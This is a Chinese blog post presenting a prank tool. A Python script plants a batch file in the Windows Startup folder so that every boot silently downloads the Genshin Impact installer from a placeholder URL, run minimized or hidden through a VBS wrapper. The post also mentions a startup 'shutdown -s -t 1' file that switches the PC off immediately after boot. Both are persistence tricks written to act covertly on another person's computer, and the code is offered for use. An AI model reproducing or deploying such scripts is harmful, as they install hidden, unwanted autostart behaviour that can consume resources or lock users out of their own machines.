【实现开机自动下载原神(bat脚本)4.0】

源于我写Python脚本时的一个小想法,使用Python写一个自动创建bat文件的脚本,脚本的内容是shutdown -s -t 1,实现开机即关机

3.0版本源代码

'''自动下载原神'''
# 定义要创建的.bat 文件的内容
bat_content = '''
set curpath=%~dp0 
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址)
powershell curl -o "%exename%" "%downurl%"
'''
# 获取 "启动" 文件夹的路径
startup_path = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
# 获取 "启动" 文件夹的上一级目录
parent_path = os.path.dirname(startup_path)
# 指定要创建的.bat 文件的路径和文件名
bat_file_path = os.path.join(parent_path, 'genshin.bat')
# 创建并写入内容到.bat 文件
with open(bat_file_path, "w") as file:
    file.write(bat_content)

'''vbs实现后台运行'''
# 定义要创建的.bat 文件的内容
vbs_content = '''
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "genshin.bat", 0
'''
# 获取 shell:startup 目录的路径
vbs_file_path = os.path.join(startup_path, 'run.vbs')
# 创建并写入内容到.bat 文件
with open(vbs_file_path, "w") as file:
    file.write(vbs_content)

本来打算用vbs来执行达到隐藏在后台偷偷下载的效果,但是发现这样的话bat也得和vbs在同一个文件夹下,不过这不是什么大问题,比如说我把bat文件生成在“启动”文件夹的父目录下就可以了,但是还是有问题。
在这里插入图片描述
这个报错就很奇怪,是开机自启动vbs文件才会有的报错,如果我手动点击打开vbs就不会有报错会好好地在后台运行,这实在是太奇怪了。所以没办法,只能放弃vbs启动的方法,转而回到bat文件本身,我们在1.0上加上这两行代码

@echo off
%1(start /min cmd.exe /c %0 :&exit)

这段代码的含义如下:

@echo off:关闭命令的回显,即执行后续命令时不在控制台显示命令本身。

%1(start /min cmd.exe /c %0 :&exit)这部分较为复杂。

%1 表示获取批处理文件运行时传递的第一个参数。

start /min cmd.exe /c %0 会以最小化窗口的方式启动一个新的命令提示符窗口,并在其中执行当前的批处理文件(%0 代表当前批处理文件)。

:&exit 通常用于分隔不同的命令,这里的 exit 是指执行完前面的命令后退出当前的命令提示符窗口。

总的来说,这段代码的作用可能是根据传递的参数以最小化窗口的方式启动新的命令提示符来执行当前批处理文件,并在执行后退出。但具体的功能和用途还需要结合整个批处理文件的上下文和使用场景来确定。

完整代码如下:

'''自动下载原神'''
# 定义要创建的.bat 文件的内容
bat_content = '''
@echo off
%1(start /min cmd.exe /c %0 :&exit)
set curpath=%~dp0 
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址)
powershell curl -o "%exename%" "%downurl%"
'''
# 获取 shell:startup 目录的路径
startup_path = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
# 指定要创建的.bat 文件的路径和文件名
bat_file_path = os.path.join(startup_path, 'genshin.bat')
# 创建并写入内容到.bat 文件
with open(bat_file_path, "w") as file:
    file.write(bat_content)

经过测试后,终于可以在开机之后自动执行并最小化窗口了
在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值